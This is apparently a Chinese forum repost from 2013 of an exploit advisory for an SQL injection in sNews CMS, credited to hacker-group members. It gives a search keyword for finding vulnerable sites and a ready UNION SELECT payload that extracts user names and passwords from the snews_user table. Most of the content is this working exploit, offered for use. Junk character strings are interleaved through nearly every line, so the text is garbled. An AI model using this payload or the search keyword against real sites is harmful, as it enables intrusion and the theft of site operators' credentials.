标题: CMS snews SQL Injection Vulnerability
2 z! b( n2 w4 m8 p2 o作者: By onestree
9 C% R/ V9 X! |下载地址 : http://snewscms.com/1 |, g( A+ Q: J. @, M! A" |: G
测试平台 : ubuntu 12.10 / win 79 b" t- `% a; w- I/ z$ s; J
关键词: inurl:"tanyakan pada rumput yang bergoyang"
5 r9 b+ G4 Q0 Y {5 d5 s
* @0 K: f/ X$ u; e& L! a * g, u) l/ A2 m$ U3 c4 Y
*************************************************************
+ \$ h4 v+ O1 B/ ]: S4 D ! M( q V; H T: p" M& N) w
SQL poc:+ E& ~" t+ U1 B
. y2 d2 E s0 M9 l, W& W1 S0 Z
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
& P& j. }. B K - ~/ c' k8 R6 S" a7 y8 m4 j
示例
9 {7 m0 ?7 a" ~% f3 N
1 M( t- v9 l+ c) fhttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
# g" R8 d- C3 A+ `$ a* o $ N* n7 m" }( f1 u; {% G: n
4 f+ o" L3 R7 F6 {
致谢:& p* j) T: J# Q: u3 [
' d+ E+ }7 v) ^- g
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell$ v0 P7 C5 q8 x1 f! @
, f; H& R# y' b0 o4 l
indonesiancoder - moeslimh4x0r - go-coder, W) x4 M" s8 [' Y; m3 ?" }
4 Z+ }8 x# S4 {+ B. K4 Aspesial my hunny :*
7 }5 t; G+ _3 X0 [+ n, r |
发表于 2013-1-23 08:55:06
收藏
支持
反对